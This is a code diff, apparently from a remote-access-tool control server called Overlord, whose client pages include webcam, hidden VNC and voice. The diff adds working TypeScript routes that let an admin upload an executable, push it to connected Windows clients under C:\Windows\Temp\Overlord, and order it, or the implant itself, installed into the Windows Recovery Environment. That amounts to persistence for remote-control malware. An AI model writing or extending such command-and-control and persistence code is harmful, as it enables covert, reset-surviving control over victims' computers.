+3 -1
View File
@@ -100,7 +100,9 @@ export type CommandType =
| "agent_update"
| "clipboard_set"
| "clipboard_sync_start"
| "clipboard_sync_stop";
| "clipboard_sync_stop"
| "winre_install"
| "winre_uninstall";
export type Command = {
type: "command";
@@ -23,6 +23,7 @@ type HttpDispatchDeps<
TNotificationsConfig,
TBuild,
TDeploy,
TWinRE,
TFileDownload,
TPlugin,
TMisc,
@@ -40,6 +41,7 @@ type HttpDispatchDeps<
handleUsersRoutes: RouteHandlerWithServer<TServer>;
handleBuildRoutes: RouteHandlerWithServerDeps<TServer, TBuild>;
handleDeployRoutes: RouteHandlerWithServerDeps<TServer, TDeploy>;
handleWinRERoutes: RouteHandlerWithServerDeps<TServer, TWinRE>;
handleFileDownloadRoutes: RouteHandlerWithServerDeps<TServer, TFileDownload>;
handlePluginRoutes: RouteHandlerWithDeps<TPlugin>;
handleMiscRoutes: RouteHandlerWithDeps<TMisc>;
@@ -51,6 +53,7 @@ type HttpDispatchDeps<
notificationsConfig: TNotificationsConfig;
build: TBuild;
deploy: TDeploy;
winre: TWinRE;
fileDownload: TFileDownload;
plugin: TPlugin;
misc: TMisc;
@@ -66,6 +69,7 @@ export function createHttpFetchHandler<
TNotificationsConfig,
TBuild,
TDeploy,
TWinRE,
TFileDownload,
TPlugin,
TMisc,
@@ -79,6 +83,7 @@ export function createHttpFetchHandler<
TNotificationsConfig,
TBuild,
TDeploy,
TWinRE,
TFileDownload,
TPlugin,
TMisc,
@@ -118,6 +123,9 @@ export function createHttpFetchHandler<
const deployResponse = await deps.handleDeployRoutes(req, url, routeServer, deps.routeDeps.deploy);
if (deployResponse) return deployResponse;
const winreResponse = await deps.handleWinRERoutes(req, url, routeServer, deps.routeDeps.winre);
if (winreResponse) return winreResponse;
const fileDownloadResponse = await deps.handleFileDownloadRoutes(req, url, routeServer, deps.routeDeps.fileDownload);
if (fileDownloadResponse) return fileDownloadResponse;
@@ -84,6 +84,7 @@ const QUERY_CLIENT_PAGES: QueryClientPageDef[] = [
{ path: "/webcam", file: "webcam.html" },
{ path: "/hvnc", file: "hvnc.html" },
{ path: "/voice", file: "voice.html" },
{ path: "/winre", file: "winre.html" },
];
/** Client-scoped pages accessed via path /:clientId/feature */
@@ -0,0 +1,294 @@
import fs from "fs/promises";
import path from "path";
import { v4 as uuidv4 } from "uuid";
import { authenticateRequest } from "../../auth";
import { AuditAction, logAudit } from "../../auditLog";
import * as clientManager from "../../clientManager";
import { metrics } from "../../metrics";
import { encodeMessage } from "../../protocol";
import { createUploadPull } from "./file-download-routes";
type RequestIpProvider = {
requestIP: (req: Request) => { address?: string } | null | undefined;
};
type WinREUpload = {
id: string;
path: string;
name: string;
size: number;
};
type WinRERouteDeps = {
WINRE_ROOT: string;
winreUploads: Map<string, WinREUpload>;
};
export async function handleWinRERoutes(
req: Request,
url: URL,
server: RequestIpProvider,
deps: WinRERouteDeps,
): Promise<Response | null> {
if (!url.pathname.startsWith("/api/winre")) {
return null;
}
if (req.method === "POST" && url.pathname === "/api/winre/upload") {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role !== "admin") {
return new Response("Forbidden: Admin access required", { status: 403 });
}
let form: FormData;
try {
form = await req.formData();
} catch {
return new Response("Bad request", { status: 400 });
}
const file = form.get("file");
if (!(file instanceof File)) {
return new Response("Missing file", { status: 400 });
}
const filename = path.basename(file.name || "upload.exe");
const id = uuidv4();
await fs.mkdir(deps.WINRE_ROOT, { recursive: true });
const folder = path.join(deps.WINRE_ROOT, id);
await fs.mkdir(folder, { recursive: true });
const targetPath = path.join(folder, filename);
const bytes = new Uint8Array(await file.arrayBuffer());
await fs.writeFile(targetPath, bytes);
const entry: WinREUpload = {
id,
path: targetPath,
name: filename,
size: bytes.length,
};
deps.winreUploads.set(id, entry);
return Response.json({ ok: true, uploadId: id, name: filename, size: bytes.length });
}
if (req.method === "POST" && url.pathname === "/api/winre/install") {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role !== "admin") {
return new Response("Forbidden: Admin access required", { status: 403 });
}
let body: any = {};
try {
body = await req.json();
} catch {
return new Response("Bad request", { status: 400 });
}
const uploadId = typeof body?.uploadId === "string" ? body.uploadId : "";
const clientIds = Array.isArray(body?.clientIds) ? body.clientIds : [];
if (!uploadId || clientIds.length === 0) {
return new Response("Bad request", { status: 400 });
}
const upload = deps.winreUploads.get(uploadId);
if (!upload) {
return new Response("Not found", { status: 404 });
}
const results: Array<{ clientId: string; ok: boolean; reason?: string }> = [];
for (const clientId of clientIds) {
const target = clientManager.getClient(clientId);
if (!target) {
results.push({ clientId, ok: false, reason: "offline" });
continue;
}
const clientOs = (target.os || "").toLowerCase();
if (!clientOs.includes("windows")) {
results.push({ clientId, ok: false, reason: "windows_only" });
continue;
}
const destDir = `C:\\Windows\\Temp\\Overlord\\winre_${upload.id}`;
const destPath = `${destDir}\\${upload.name}`;
const pullId = createUploadPull({
clientId,
filePath: upload.path,
fileName: upload.name,
size: upload.size,
});
const pullUrl = `${url.origin}/api/file/upload/pull/${encodeURIComponent(pullId)}`;
target.ws.send(
encodeMessage({
type: "command",
commandType: "file_upload_http" as any,
id: uuidv4(),
payload: { path: destPath, url: pullUrl, total: upload.size },
}),
);
const cmdId = uuidv4();
target.ws.send(
encodeMessage({
type: "command",
commandType: "winre_install",
id: cmdId,
payload: { filePath: destPath },
}),
);
metrics.recordCommand("winre_install");
logAudit({
timestamp: Date.now(),
username: user.username,
ip: server.requestIP(req)?.address || "unknown",
action: AuditAction.WINRE_INSTALL,
targetClientId: clientId,
success: true,
details: JSON.stringify({ uploadId, filePath: destPath }),
});
results.push({ clientId, ok: true });
}
return Response.json({ ok: true, results });
}
if (req.method === "POST" && url.pathname === "/api/winre/install-self") {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role !== "admin") {
return new Response("Forbidden: Admin access required", { status: 403 });
}
let body: any = {};
try {
body = await req.json();
} catch {
return new Response("Bad request", { status: 400 });
}
const clientIds = Array.isArray(body?.clientIds) ? body.clientIds : [];
if (clientIds.length === 0) {
return new Response("Bad request", { status: 400 });
}
const results: Array<{ clientId: string; ok: boolean; reason?: string }> = [];
for (const clientId of clientIds) {
const target = clientManager.getClient(clientId);
if (!target) {
results.push({ clientId, ok: false, reason: "offline" });
continue;
}
const clientOs = (target.os || "").toLowerCase();
if (!clientOs.includes("windows")) {
results.push({ clientId, ok: false, reason: "windows_only" });
continue;
}
const cmdId = uuidv4();
target.ws.send(
encodeMessage({
type: "command",
commandType: "winre_install",
id: cmdId,
payload: { useSelf: true },
}),
);
metrics.recordCommand("winre_install");
logAudit({
timestamp: Date.now(),
username: user.username,
ip: server.requestIP(req)?.address || "unknown",
action: AuditAction.WINRE_INSTALL,
targetClientId: clientId,
success: true,
details: JSON.stringify({ useSelf: true }),
});
results.push({ clientId, ok: true });
}
return Response.json({ ok: true, results });
}
if (req.method === "POST" && url.pathname === "/api/winre/uninstall") {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role !== "admin") {
return new Response("Forbidden: Admin access required", { status: 403 });
}
let body: any = {};
try {
body = await req.json();
} catch {
return new Response("Bad request", { status: 400 });
}
const clientIds = Array.isArray(body?.clientIds) ? body.clientIds : [];
if (clientIds.length === 0) {
return new Response("Bad request", { status: 400 });
}
const results: Array<{ clientId: string; ok: boolean; reason?: string }> = [];
for (const clientId of clientIds) {
const target = clientManager.getClient(clientId);
if (!target) {
results.push({ clientId, ok: false, reason: "offline" });
continue;
}
const clientOs = (target.os || "").toLowerCase();
if (!clientOs.includes("windows")) {
results.push({ clientId, ok: false, reason: "windows_only" });
continue;
}
const cmdId = uuidv4();
target.ws.send(
encodeMessage({
type: "command",
commandType: "winre_uninstall",
id: cmdId,
payload: {},
}),
);
metrics.recordCommand("winre_uninstall");
logAudit({
timestamp: Date.now(),
username: user.username,
ip: server.requestIP(req)?.address || "unknown",
action: AuditAction.WINRE_UNINSTALL,
targetClientId: clientId,
success: true,
details: JSON.stringify({ clientId }),
});
results.push({ clientId, ok: true });
}
return Response.json({ ok: true, results });
}
return null;
}